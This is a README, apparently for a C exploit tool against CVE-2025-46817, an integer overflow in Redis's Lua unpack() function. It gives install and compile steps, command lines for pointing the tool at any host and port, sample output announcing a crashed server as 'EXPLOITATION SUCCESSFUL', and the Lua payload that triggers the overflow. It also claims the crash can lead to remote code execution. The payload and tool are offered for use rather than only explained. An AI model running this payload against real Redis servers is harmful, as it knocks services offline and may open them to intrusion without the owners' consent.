
C-based exploit for CVE-2025-46817, a Redis integer overflow vulnerability, enabling crash detection and potential RCE via Lua unpack() payload.
A lightweight C implementation of the CVE-2025-46817 exploit for Redis integer overflow vulnerability.
sudo apt-get update
sudo apt-get install build-essential libhiredis-dev
sudo yum install gcc hiredis-devel
brew install hiredis
gcc -o exploit exploit.c -lhiredis
./exploit -H 127.0.0.1 -P 6379
./exploit -H 192.168.1.100 -P 6379 -t 5
-H <host> Redis server host (required)
-P <port> Redis server port (required)
-t <timeout> Connection timeout in seconds (default: 10)
-h Show help message
ββββββ β ββββββ β ββββ β ββ ββββββ ββββββββββββ ββββββ
ββββ ββββββ β βββββ ββ β βββββββ ββ βββββββ ββββ β ββ β βββ β βββ
ββββ βββββββ β βββββ ββ βββββββ ββββββ βββββββββ ββββββ β ββββ βββ βββ β
βββββββ ββββ β ββββββ βββββββββββ βββ ββββββββ βββββ β βββ β βββββββ
ββββ β βββββββββββββ βββββββ βββββββββββ ββββ ββββ βββββββββββ ββββ
ββββ β ββ βββ β β ββ β β ββββββββββββ β β β β β β ββ ββ ββ ββ ββββ
ββ β β β β β ββ β βββββ β ββββ β β β β β β β ββ β ββ
ββ β β β β β β β βββ β β β β β β β ββ β
β β β β β β β
β
CVE-2025-46817 Exploit Tool
Integer Overflow -> RCE Chain
Access -> https://pwnbuffer.org/
Author: Slayerkkk
Target: Redis <= 8.2.1
Type: Memory Corruption -> Code Execution
βΉοΈ Testing connection to 127.0.0.1:6379...
β
Connection successful
βΉοΈ Redis version: 8.2.1
β VULNERABLE - Version <= 8.2.1
βΉοΈ Testing Lua scripting...
β
Lua enabled (1+1=2)
π STARTING EXPLOITATION
==================================================
π Executing exploit payload...
Payload: Integer overflow via unpack()
π₯ SERVER CRASHED - Connection lost!
π EXPLOITATION RESULT
==============================
π₯ Status: crashed (2.34s)
π EXPLOITATION SUCCESSFUL - Server crashed!
CVE-2025-46817 vulnerability confirmed
The exploit targets an integer overflow in Redis's Lua unpack() function implementation (luaB_unpack). When called with specific parameters, the signed integer arithmetic overflows, causing Redis to attempt materializing an enormous number of return values.
local data = {1, 2, 3}
return {unpack(data, -2147483648, 2147483647)}
The tool reports one of these statuses:
Author: Slayerkkk
Website: https://pwnbuffer.org